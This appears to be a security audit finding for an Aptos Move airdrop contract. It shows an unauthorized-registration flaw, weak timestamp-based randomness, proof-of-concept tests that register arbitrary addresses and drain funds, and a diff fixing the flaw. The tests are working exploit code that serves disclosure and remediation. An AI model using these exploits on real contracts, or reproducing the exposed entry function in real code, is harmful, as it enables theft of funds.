// Root cause in the codebase with @> marks to highlight the relevant section
public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
@> get_random_slice(user);
event::emit(PizzaLoverRegistered {
user: user,
});
}
#[randomness]
@> entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
@> table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
public entry fun claim_pizza_slice(user: &signer) acquires ModuleData, State {
let user_addr = signer::address_of(user);
let state = borrow_global_mut<State>(get_resource_address());
@> assert!(table::contains(&state.users_claimed_amount, user_addr), E_NOT_REGISTERED);
assert!(!table::contains(&state.claimed_users, user_addr), E_ALREADY_CLAIMED);
let amount = *table::borrow(&state.users_claimed_amount, user_addr);
transfer_from_contract(user_addr, amount);
table::add(&mut state.claimed_users, user_addr, true);
}
#[test_only]
module pizza_drop::vulnerability_test {
use std::signer;
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::coin;
use aptos_framework::aptos_coin::{Self, AptosCoin};
use pizza_drop::airdrop;
#[test(deployer = @pizza_drop, attacker = @0x999, framework = @0x1)]
fun test_unauthorized_registration_exploit(
deployer: &signer,
attacker: &signer,
framework: &signer
) {
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
airdrop::init_module(deployer);
let funding_amount = 100000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
airdrop::fund_pizza_drop(deployer, 50000);
let initial_balance = airdrop::get_actual_apt_balance();
assert!(initial_balance == 50000, 1);
let attacker_addr = signer::address_of(attacker);
assert!(!airdrop::is_registered(attacker_addr), 2);
airdrop::get_random_slice(attacker_addr);
assert!(airdrop::is_registered(attacker_addr), 3);
let assigned_amount = airdrop::get_claimed_amount(attacker_addr);
assert!(assigned_amount >= 100 && assigned_amount <= 500, 4);
airdrop::claim_pizza_slice(attacker);
let attacker_balance = coin::balance<AptosCoin>(attacker_addr);
assert!(attacker_balance == assigned_amount, 5);
let final_balance = airdrop::get_actual_apt_balance();
assert!(final_balance == initial_balance - assigned_amount, 6);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
#[test(deployer = @pizza_drop, attacker = @0x999, victim = @0x777, framework = @0x1)]
fun test_register_others_exploit(
deployer: &signer,
attacker: &signer,
victim: &signer,
framework: &signer
) {
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
account::create_account_for_test(signer::address_of(victim));
airdrop::init_module(deployer);
let deployer_coins = coin::mint<AptosCoin>(100000, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
airdrop::fund_pizza_drop(deployer, 50000);
let victim_addr = signer::address_of(victim);
airdrop::get_random_slice(victim_addr);
assert!(airdrop::is_registered(victim_addr), 1);
let amount = airdrop::get_claimed_amount(victim_addr);
assert!(amount >= 100 && amount <= 500, 2);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
#[test(deployer = @pizza_drop, attacker = @0x999, framework = @0x1)]
fun test_drain_contract_funds(
deployer: &signer,
attacker: &signer,
framework: &signer
) {
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
airdrop::init_module(deployer);
let deployer_coins = coin::mint<AptosCoin>(1000000, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
airdrop::fund_pizza_drop(deployer, 500000);
let mut total_stolen = 0u64;
let mut i = 0u64;
while (i < 5) {
let attack_account = account::create_account_for_test(@0x1000 + i);
let attack_addr = signer::address_of(&attack_account);
airdrop::get_random_slice(attack_addr);
let amount = airdrop::get_claimed_amount(attack_addr);
airdrop::claim_pizza_slice(&attack_account);
total_stolen = total_stolen + amount;
i = i + 1;
};
assert!(total_stolen >= 500, 1);
let final_balance = airdrop::get_actual_apt_balance();
assert!(final_balance == 500000 - total_stolen, 2);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
}
- #[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ // Internal or friend-only. Do not expose as an entry function.
+ #[randomness]
+ fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+ // Only owner can populate the registry
get_random_slice(user);
event::emit(PizzaLoverRegistered { user: user });
}